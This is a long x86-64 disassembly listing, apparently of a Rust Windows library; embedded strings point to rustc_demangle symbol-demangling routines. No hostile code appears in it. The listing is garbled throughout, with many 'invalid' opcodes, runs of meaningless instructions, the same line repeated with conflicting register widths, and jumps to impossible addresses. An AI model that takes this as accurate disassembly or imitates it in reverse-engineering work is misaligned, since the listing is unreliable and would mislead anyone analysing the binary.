mov ecx, dword [rsi + 0x20]
test rcx, rcx
je case.0x18003edb6.104
lea rax, [0x18007b2c9]
invalid
mov r8d, 1
mov eax, 1
mov ebx, edx
mov rdx, rax
call fcn.1800217c0
shr dword [rcx], cl
invalid
invalid
shr dword [rcx], cl
invalid
sub esi, edi
dec dword [rcx + 0x1b740da]
mov edx, ebx
mov dil, 1
mov edx, ebx
mov dil, 1
test al, al
jne 0x18003f1ef
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call case.0x18001e8df.469
mov dil, 1
test al, al
jne 0x18003f1ef
test edx, esp
add eax, dword [rax]
invalid
test edx, esp
add eax, dword [rax]
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
test dh, dl
add eax, dword [rax]
add bh, bh
loop 0x18003ee0e
add byte [rax], al
cmp qword [rsi], 0
cmp dword [rsi], 0
je 0x18003f1ed
dec dword [rsi + 0x18]
jmp 0x18003f1ed
sbb cl, r13b
sbb cl, ch
invalid
mov edx, esi
call 0x18003f830
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x18003efba
invalid
invalid
add dword [rax], eax
invalid
test byte [rdx + 0x48000001], al
invalid
mov rdx, qword [rbp]
mov edx, dword [rbp]
call fcn.18003f8d0
cmp rax, 1
clc
add dword [rdi], ecx
invalid
cdq
add byte [rax], al
invalid
clc
add dword [rdi], ecx
test dword [rcx + 0x48000000], ebx
cmp edx, 1
cmp rdx, 1
je 0x18003f355
test rdx, rdx
jne case.0x18003edb6.67
xchg byte [rax], al
add byte [rax], al
xchg byte [rax], al
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ee0d
lea rdx, [0x18007b52c]
adc eax, 0x3c6be
mov esi, 0x410003c6
mov eax, 5
mov r8d, 5
jmp 0x18003f31f
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ee0d
lea rdx, [0x18007b41a]
jmp 0x18003f319
add cl, ch
mov eax, dword [rax + rax]
add byte [rax + rax*8 + 0x14f840f], al
test al, al
je 0x18003efe5
xor ebx, ebx
jmp 0x18003f148
stosd dword [rdi], eax
add al, byte [rax]
invalid
stosd dword [rdi], eax
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
mov rdx, rsi
call 0x18003f830
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x18003efba
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
push rbp
add al, ch
adc dword [rdx], ecx
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp]
call fcn.18003f8d0
test rax, rax
je case.0x18003edb6.67
invalid
and byte [rax - 0x77], cl
ror byte [rax - 0x3f], 1
call 0x1091b63ee
sal byte [0x18004c6d4], 1
add eax, 0xffef0000
cmp eax, 0xffef0800
jae 0x18003f371
mov rax, rdx
shr rax, 0x20
jne case.0x18003edb6.67
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ef0a
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x18003f1ed
test al, al
je 0x18003f016
xor ebx, ebx
jmp 0x18003f1fc
mov rcx, rsi
mov edx, eax
call fcn.18003f6a0
jmp 0x18003ee02
movzx ebx, byte [rbp]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x18003f115
test rcx, rcx
je 0x18003f137
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f1fa
lea rdx, [0x18007b535]
mov r8d, 1
call fcn.1800217c0
mov bl, 1
mov dil, 1
test al, al
jne 0x18003f1ef
jmp 0x18003f1fc
test rcx, rcx
je 0x18003f137
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.18003d370
test al, al
jne 0x18003f1ef
mov rax, qword [rsi]
test rax, rax
je 0x18003f1ca
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x18003f329
movzx eax, byte [rax + rcx]
inc rcx
mov qword [rsi + 0x10], rcx
cmp eax, 0x53
je 0x18003f37f
cmp eax, 0x55
je 0x18003f2fd
cmp eax, 0x54
push rsp
jne 0x18003f329
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f1b8
lea rdx, [0x18007b171]
mov r8d, 1
call fcn.1800217c0
test al, al
jne 0x18003f1ef
mov rcx, rsi
call fcn.18003ffa0
test rax, rax
jne 0x18003f1ef
jmp 0x18003f2a5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f1ed
lea rdx, [0x18007b4c1]
add eax, dword [rax]
mov r8d, 1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.1800217c0
xor edi, edi
mov eax, edi
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
cmp byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
mov bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f21e
lea rdx, [0x18007b4cb]
mov r8d, 1
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003f1ef
mov rcx, rsi
call fcn.18003ffa0
mov dil, 1
test rax, rax
jne 0x18003f1ef
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f2fd
lea rdx, [0x18007b4cc]
jmp 0x18003f2b5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f2fd
lea rdx, str._HRESULT_
mov r8d, 1
call fcn.1800217c0
jmp 0x18003f2f5
test al, al
jne 0x18003f1ef
test bl, bl
je 0x18003ee0d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ee0d
lea rdx, [0x18007d55b]
mov r8d, 1
call fcn.1800217c0
jmp 0x18003ee02
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ef0a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
test al, al
je 0x18003ef0a
jmp 0x18003f1ef
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003ee0d
lea rdx, [0x18007b531]
mov r8d, 4
jmp 0x18003f31f
mov rcx, qword [rsi + 0x20]
call fcn.18003fa70
jmp 0x18003ee02
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f3a2
lea rdx, [0x18007b536]
mov r8d, 3
call fcn.1800217c0
test al, al
jne 0x18003f1ef
mov rcx, rsi
call fcn.1800400f0
test rax, rax
jne 0x18003f1ef
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f2fd
lea rdx, [0x18007b539]
mov r8d, 2
jmp 0x18003f2bb
invalid
invalid
invalid
invalid
jmp 0x14d03f3d1
mov esi, dword [rcx + 0x20]
test rsi, rsi
test esi, esi
je case.0x18001a336.439
mov r14, rdx
mov rbx, rcx
lea rdx, [0x18007b4c2]
mov r8d, 1
mov rcx, rsi
call fcn.1800217c0
mov dil, 1
test al, al
jne 0x18003f450
test r14, r14
je 0x18003f45f
mov r15d, dword [rbx + 0x28]
sub r15, r14
jae 0x18003f480
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.1800217c0
test al, al
jne 0x18003f450
mov qword [rbx], 0
add byte [rax], al
add byte [rax], al
mov byte [rbx + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
invalid
ret
lea rdx, [0x18007b41a]
lea edx, [0x18007b41a]
mov r8d, 1
mov rcx, rsi
int1
int1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp fcn.1800217c0
and edi, esi
invalid
and edi, esi
dec dword [rcx - 0x7d]
call [rdx]
cmp r15, 0x1a
jae 0x18003f49e
add r15d, 0x61
mov dword [rbp + 4], r15d
lea rcx, [rbp + 4]
mov rdx, rsi
bnd call fcn.180028600
bnd call fcn.180028600
xchg cx, ax
invalid
mov edi, eax
jmp 0x18003f450
lea rdx, [0x18007b41a]
mov r8d, 1
mov eax, 1
mov edi, 0xb8410003
add byte [rcx - 0x48], al
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
call fcn.1800217c0
and edi, esi
invalid
and edi, esi
inc dword [rax + rax*8 - 0x76b3668b]
jge 0x18003f4b3
test al, al
jne 0x18003f450
sal byte [rbp - 0x67], 0x4c
mov dword [rbp - 8], edi
mov qword [rbp - 8], r15
lea rcx, [rbp - 8]
mov rdx, rsi
mov edx, esi
mov edx, esi
call 0x180020440
mov edi, eax
jmp 0x18003f450
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov rdi, rcx
mov rsi, qword [rcx]
test rsi, rsi
je 0x18003f5c7
mov eax, edx
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov r10, r8
nop dword [rax]
invalid
invalid
invalid
cmp r10, rdx
jae 0x18003f592
mov r9, r10
movzx ecx, byte [rsi + r10]
inc r10
mov qword [rdi + 0x10], r10
lea r11d, [rcx - 0x30]
cmp r11b, 0xa
jb 0x18003f500
mov dh, 0xc
invalid
lea r11d, [rcx - 0x61]
cmp r11b, 6
jb 0x18003f500
cmp cl, 0x5f
jne 0x18003f592
mov r14, r9
mov esi, ecx
sub r14, r8
jb 0x18003f672
mov r15d, eax
test r8, r8
je 0x18003f550
cmp byte [rsi + r8], 0xbf
jle 0x18003f672
add rsi, r8
mov rcx, rsi
mov rdx, r14
call fcn.18003f8d0
jb 0x18003f55f
add byte [rax], al
jb 0x18003f55f
add byte [rax], al
test rax, rax
test eax, eax
je 0x18003f5f2
mov rdi, qword [rdi + 0x20]
mov edi, dword [rdi + 0x20]
and byte [rax - 0x77], cl
push rbp
add byte [rax - 0x7b], cl
dec dword [rdi]
test cl, ch
add byte [rax], al
add byte [rax], al
mov rcx, rbp
mov rdx, rdi
invalid
mov qword [rbp], rdx
test rdi, rdi
je 0x18003f661
add byte [rax], al
add byte [rax], al
mov rcx, rbp
mov rdx, rdi
call 0x180020440
mov bl, 1
add dword [rax + rax*8 + 0x9b840f], eax
add byte [rax], al
add dword [rax + rax*8 + 0x9b840f], eax
add byte [rax], al
ror byte [rdi], 0x84
wait
add byte [rax], al
add cl, ch
rol dword [rax], 1
add byte [rax], al
jmp 0x18003f663
mov rcx, qword [rdi + 0x20]
test rcx, rcx
and byte [r8 - 0x7b], r9b
leave
je 0x18003f5b7
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
mov bl, 1
test al, al
jne 0x18003f663
mov qword [rdi], 0
mov byte [rdi + 8], 0
jmp 0x18003f661
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x18003f661
lea rdx, [0x18007b4c1]
mov r8d, 1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp fcn.1800217c0
mov rdi, qword [rdi + 0x20]
test rdi, rdi
je 0x18003f661
lea rdx, [0x18007b53b]
mov r8d, 2
mov rcx, rdi
call fcn.1800217c0
mov bl, 1
test al, al
jne 0x18003f663
mov rcx, rdi
mov rdx, rsi
mov r8, r14
call fcn.1800217c0
test al, al
jne 0x18003f663
test byte [rdi + 0x34], 4
jne 0x18003f661
add r15b, 0x9f
cmp r15b, 0x1a
jae 0x18003f686
movzx eax, r15b
mov ecx, 0x3bcfbbf
bt ecx, eax
jae 0x18003f686
lea rcx, [0x18007b680]
mov r8, qword [rcx + rax*8]
lea rcx, [0x18007b750]
mov rdx, qword [rcx + rax*8]
mov rcx, rdi
jmp 0x18003f5e1
xor ebx, ebx
mov eax, ebx
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
call fcn.180069d00
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.180069bb0
int3
int3
insb byte [rdi], dx
and al, 0x40
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x18003f72a
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
adc byte [rcx + r15 - 0x2f], r9b
push rsi
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x2f], r9b
jae 0x18003f7b8
mov r8d, edx
mov eax, edx
cmp byte [r9 + rcx], 0x5f
cmp al, 9
pop rdi
jne 0x18003f751
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
adc byte [rcx], dh
invalid
adc byte [rcx], dh
ror byte [rax - 1], 0xc9
dec ecx
dec rcx
dec ecx
cmp rax, rcx
jae 0x18003f7b8
mov edx, dword [rsi + 0x18]
inc edx
push rsi
sbb bh, bh
ret 0x8b48
invalid
invalid
mov rcx, qword [rsi + 0x20]
cmp edx, 0x1f4
add byte [rax], al
add byte [rax], al
jbe 0x18003f7f2
hlt
test rcx, rcx
je 0x18003f82c
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x3bd9a
invalid
invalid
add eax, dword [rax]
lea rdx, [0x18007b4a8]
invalid
mov r8d, 0x19
add byte [rax], al
call fcn.1800217c0
mov ecx, eax
invalid
mov al, 1
test cl, cl
leave
and dh, bh
dec dword [rcx - 0x7bfe4f3f]
invalid
mov al, 1
invalid
sal dword [rax + 0xfc98401], 0x84
mov eax, 0xe9000000
add byte [rax], al
add cl, ch
leave
je 0x18003f7dd
test byte [rax - 0x17000000], bh
add byte [rax], al
add cl, ch
jmp 0x18003f7e9
mov edi, 0x48000000
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x18003f7e7
test byte [rax + 0x48000000], dh
lea edx, [0x18007b4c1]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x3bd83
lea rdx, [0x18007b4c1]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.1800217c0
invalid
invalid
push qword [rcx]
xor eax, eax
mov edi, 0x3e
add byte ds:[rax], al
invalid
sar byte [rdi + 0x3e], 0x49
mov ebx, ecx
add byte ds:[rax], al
add byte [rcx - 0x77], cl
retf
add byte [rax], al
mov r11, rcx
nop dword [rax + rax]
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
cli
pop rdi
mov dh, 0x14
sbb dword [rax + 0x3e745ffa], eax
cli
pop rdi
je 0x18003f7a8
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x18003f78d
lea ebx, [rdx - 0x61]
lahf
cmp bl, 0x1a
jae case.0x18002bf91.297
sti
sbb dh, byte [rbx + 6]
add dl, 0xa9
jmp 0x18003f78b
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
sti
sbb dh, byte [rbx + 0x30]
mov edi, 0x731afb80
xor byte [rax - 0x2c761c3e], al
sti
sbb dh, byte [rbx + 0x30]
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x18003f7b8
pop rsi
adc byte [rax - 9], cl
out 0x70, eax
invalid
movzx edx, bl
mov dh, 0xd3
add rax, rdx
jb 0x18003f7b8
invalid
invalid
cmp r11, r10
jb case.0x18002b605.305
jmp 0x18003f7b8
inc r11
mov qword [rsi + 0x10], r11
inc rax
jne 0x18003f6dd
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18003f7db
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
dec dword [rcx - 0x7bfe4f3f]
leave
dec dword [rcx - 0x7bfe4f3f]
leave
jne 0x18003f7e9
xor eax, eax
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 8], al
xor eax, eax
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
test rcx, rcx
je 0x18003f7e7
invalid
invalid
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rbp - 0x10], xmm1
adc byte [rdi], r9b
sub dword [rbp - 0x10], ecx
movaps xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], edx
test r8b, r8b
setne dl
mov rcx, rsi
call fcn.18003ed10
movaps xmm0, xmmword [rbp - 0x20]
loopne 0x18003f82f
sub byte [rbp - 0x10], cl
loopne 0x18003f82f
sub byte [rbp - 0x10], cl
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x18003f7e9
mov al, 1
jmp 0x18003f7dd
lodsd eax, dword [rsi]
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov r10, rdx
mov rax, rcx
mov r8, qword [rdx + 0x10]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 8]
mov edx, dword [rdx + 8]
mov edx, dword [rdx + 8]
mov rsi, r8
cmp rsi, rdx
jae 0x18003f89e
mov r9, rsi
mov ecx, esi
movzx r11d, byte [rcx + rsi]
inc rsi
mov qword [r10 + 0x10], rsi
lea edi, [r11 - 0x30]
cmp dil, 0xa
jb 0x18003f850
lea edi, [r11 - 0x61]
cmp dil, 6
jb 0x18003f850
cmp r11b, 0x5f
jne 0x18003f89e
mov r10, r9
sub r10, r8
jb 0x18003f8b1
retf 0x294d
test r8, r8
je 0x18003f892
cmp byte [rcx + r8], 0xbf
jle 0x18003f8b1
add rcx, r8
mov qword [rax], rcx
mov qword [rax + 8], r10
jmp 0x18003f8a9
mov byte [rax + 8], 0
mov qword [rax], 0
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
call fcn.180069d00
int3
lea ebp, [rsp + 0x80]
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x20], 1
and al, 0x20
add dword [rax], eax
add byte [rax], al
and al, 0x20
add dword [rax], eax
add byte [rax], al
lea r9, [0x18007b2ca]
lea rbx, [rbp - 0x50]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.180028a20
lea r14, [rbp + 0x18]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, r14
mov rdx, rbx
call fcn.180040ab0
mov rax, qword [rbp + 0x18]
test rax, rax
je 0x18003f920
cmp eax, 1
jne 0x18003f93f
mov rcx, qword [rbp + 0x20]
mov ecx, dword [rbp + 0x20]
jmp 0x18003f942
mov rcx, rsi
mov rax, rsi
sub rax, rcx
cmp rax, 0x10
jbe 0x18003f952
clc
adc byte [rsi + 4], dh
xor eax, eax
jmp case.0x18003c6c9.105
add byte [rax + 0x39], cl
invalid
cmp esi, ecx
jne 0x18003f96c
xor edx, edx
add rsp, 0xb0
pop rbx
add byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r14
pop rbp
ret
add rsi, rdi
add rcx, rdi
dec byte [rax + 1]
stc
xor edx, edx
mov r8d, 0xffffffff
jmp case.0x18003d412.102
mov r9, rdx
shl r9, 4
ror dword [rcx - 0x3f], 1
loope 0x18003f98b
mov edx, r10d
or rdx, r9
or edx, ecx
cmp rcx, rsi
je case.0x18003c6c9.105
movzx ebx, byte [rcx]
movzx r9d, bl
test r9b, r9b
js 0x18003f9b0
add dword [rbx - 0x7fbec019], eax
stc
fbstp tbyte [rsi + 0x42]
movzx r11d, byte [rcx + 2]
add al, cl
out 6, eax
add al, cl
out 6, eax
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x18003fa16
movzx r9d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
adc al, byte [rcx - 0x3f]
jrcxz 0x18003f9ef
adc al, byte [rcx - 0x3f]
jrcxz 0x18003f9ef
shl ebx, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
cmp ecx, 0x110000
fld dword [rbp + 9]
rol dword [rcx - 0x7f], 1
cmp ecx, 0x110000
cmp ecx, 0x110000
je case.0x18003c6c9.105
add rcx, 4
jmp 0x18003fa30
add rcx, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
nop word cs:[rax + rax]
lea r10d, [r9 - 0x30]
cmp r10d, 0xa
jb 0x18003f980
or r9d, 0x20
add r9d, 0xffffff9f
add r9d, 0xa
cmovb r9d, r8d
mov r10d, r9d
cmp r9d, 0x10
jb 0x18003f980
add byte [0x18014fe19], bh
jne 0x18003feab
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov rax, qword [rax + 0x20]
mov edx, 0x22
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp rax
test rcx, rcx
je 0x18003fe62
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
mov sil, 1
test al, al
jne 0x18003fe9a
mov qword [rdi], 0
mov byte [rdi + 8], 0
jmp 0x18003fe98
xor esi, esi
mov eax, esi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea rdi, [rbp - 0x38]
lea rbx, [rbp - 0x10]
cmp eax, 0x110000
je 0x18003ff6f
cmp eax, 0x27
jne 0x18003feeb
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov edx, 0x27
call qword [rax + 0x20]
test al, al
jne 0x18003fe9a
mov rcx, rdi
call case.0x18002b117.323
cmp eax, 0x110001
jne 0x18003feb3
jmp 0x18003fe1e
mov rcx, rbx
mov edx, eax
call fcn.180040810
movzx r14d, byte [rbp - 0x10]
jmp 0x18003ff24
mov edx, dword [rbp - 0xc]
mov dword [rbp - 8], 0
mov qword [rbp - 0x10], 0
xor r14d, r14d
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
call qword [rax + 0x20]
test al, al
jne 0x18003fe9a
cmp r14b, 0x80
je 0x18003fefc
movzx eax, byte [rbp - 6]
cmp al, byte [rbp - 5]
jae 0x18003fed7
movzx ecx, al
lea edx, [rax + 1]
mov byte [rbp - 6], dl
cmp al, 0xa
jae 0x18003ff47
movzx edx, byte [rbp + rcx - 0x10]
jmp 0x18003ff11
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_srcescape.rs
mov edx, 0xa
call fcn.1800697a0
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov r8, r14
mov r9, rbx
call fcn.180069d00
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7librarycore_srcops_function.rsP
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18007af18]
lea r8, [rbp - 0x10]
mov edx, 0x2b
call fcn.180069b20
int3
mov ah, 3
add byte [rcx], dh
mul byte [rsi + 0x66]
nop dword cs:[rax + rax]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 8]
jae 0x180040080
adc byte [r8 + 0x3b], cl
or byte [r11 + 6], sil
cmp byte [rax + rcx], 0x45
je 0x1800400c8
test rsi, rsi
je 0x1800400a0
mov rcx, qword [rbx + 0x20]
test rcx, rcx
and byte [r8 - 0x7b], cl
leave
je 0x1800400a0
mov r8d, 2
mov eax, 2
mov rdx, r14
call fcn.1800217c0
invalid
invalid
bnd call fcn.1800217c0
invalid
test al, al
jne 0x1800400c1
sal byte [rbp + 0x21], 0x48
mov ecx, ebx
mov rcx, rbx
mov dl, 1
call fcn.18003ed10
test al, al
invalid
jne 0x1800400c1
add eax, ebp
in al, dx
invalid
sal byte [rbp + 0x13], 0x48
inc esi
inc rsi
mov rax, qword [rbx]
test rax, rax
jne 0x180040070
jmp 0x1800400d1
xor esi, esi
xor edi, edi
jmp 0x1800400d1
mov edi, 1
jmp 0x1800400d1
add bl, ch
or dword [rax - 1], ecx
ror dword [rax - 0x77], 0x4b
invalid
invalid
invalid
inc rcx
mov qword [rbx + 0x10], rcx
mov dword [rbx + 0x10], ecx
adc byte [rcx], dh
dec dword [rax - 0x77]
clc
xor edi, edi
mov rax, rdi
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
mov r8, qword [rcx]
mov eax, dword [rcx]
test r8, r8
test eax, eax
je 0x180040373
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov esi, ecx
mov r12d, 0x3e
lea rdi, [rbp - 0x18]
add byte [rax], al
add byte [rax - 0x73], cl
jge 0x180040106
lea rbx, [rbp - 0x40]
lea r14, [0x18007ce23]
add eax, dword [rax]
pop rbp
ror byte [rbp + rcx*4 + 0x35], 0xfa
int3
add eax, dword [rax]
xor r15d, r15d
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x180040144
cmp byte [r8 + rax], 0x45
je 0x18004033d
test r15, r15
je 0x18004017c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18004017c
mov r8d, 2
lea rdx, [0x18007b4c9]
call fcn.1800217c0
test al, al
jne 0x180040361
mov r8, qword [rsi]
test r8, r8
je 0x1800401b5
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x180040270
cmp byte [r8 + rax], 0x73
jne 0x180040270
invalid
add byte [rax - 0x73], cl
add qword [rax - 0x77], rcx
adc byte [rcx + r15 - 0x37], r9b
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x1800402f1
add byte [rax], al
cmp byte [r8 + rcx], 0x5f
cmp byte [rax + rcx], 0x5f
jne 0x1800401e7
add rax, 2
mov qword [rsi + 0x10], rax
jmp 0x180040270
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x180040373
add dword [rax], eax
add byte [rcx - 0x43], al
add dword [rax], eax
mov r13d, 1
add byte [rax], al
mov r8d, 1
lea rdx, [0x18007b4c1]
invalid
add byte [rax - 0x73], cl
adc eax, 0x3b2ec
invalid
lea edx, [0x18007b4c1]
add al, ch
call fcn.1800217c0
test al, al
ror byte [rdi], 0x84
sti
add byte [rax], al
invalid
out 0x15, al
invalid
ror byte [rdi], 0x84
sti
test bl, bh
add byte [rax], al
add cl, ch
pop qword [rcx]
add byte [rax], al
jmp 0x180040376
add dword [rax], eax
add byte [rcx], dh
ror byte [rdi], 0x1f
xor eax, eax
nop dword [rax]
add byte [rax], 0
add byte [rax], al
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x18004025b
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x180040234
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x180040220
add dl, 0xa9
jmp 0x180040231
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x1800402f1
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul r12
jo 0x1800402f1
movzx edx, r10b
add rax, rdx
jb 0x1800402f1
cmp rcx, r9
jb 0x1800401f0
jmp 0x1800402f1
inc rcx
mov qword [rsi + 0x10], rcx
cmp rax, 0xfffffffffffffffd
ja 0x1800402f1
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
call fcn.18003dd20
cmp qword [rbp - 0x18], 0
je 0x18004031d
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x1800402cb
mov rcx, rbx
mov rdx, r13
call fcn.18003df10
test al, al
jne 0x180040361
mov r8d, 2
mov rcx, r13
mov rdx, r14
call fcn.1800217c0
test al, al
jne 0x180040361
mov rcx, rsi
mov dl, 1
call fcn.18003ed10
test al, al
jne 0x180040361
mov r8, qword [rsi]
inc r15
test r8, r8
jne 0x18004012c
jmp 0x180040373
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x180040310
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1800217c0
test al, al
jne 0x180040361
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x180040373
movzx ebx, byte [rbp - 0x10]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x180040346
test rcx, rcx
leave
je case.0x18002ef1c.335
lea rdx, [0x18007b4a8]
mov r8d, 0x19
jmp 0x180040358
inc rax
inc eax
mov qword [rsi + 0x10], rax
jmp 0x180040373
test rcx, rcx
je case.0x18002ef1c.335
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
mov cl, 3
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
call fcn.1800217c0
test al, al
invalid
je case.0x18002ef1c.335
invalid
sal byte [rax + rcx + 0x41], 0xbd
add dword [rax], eax
add byte [rax], al
mov r13d, 1
mov ebp, 1
jmp 0x180040376
mov qword [rsi], 0
invalid
add byte [rax], al
mov byte [rsi + 8], bl
or byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
mov rax, r13
mov eax, ebp
add rsp, 0x68
pop rbx
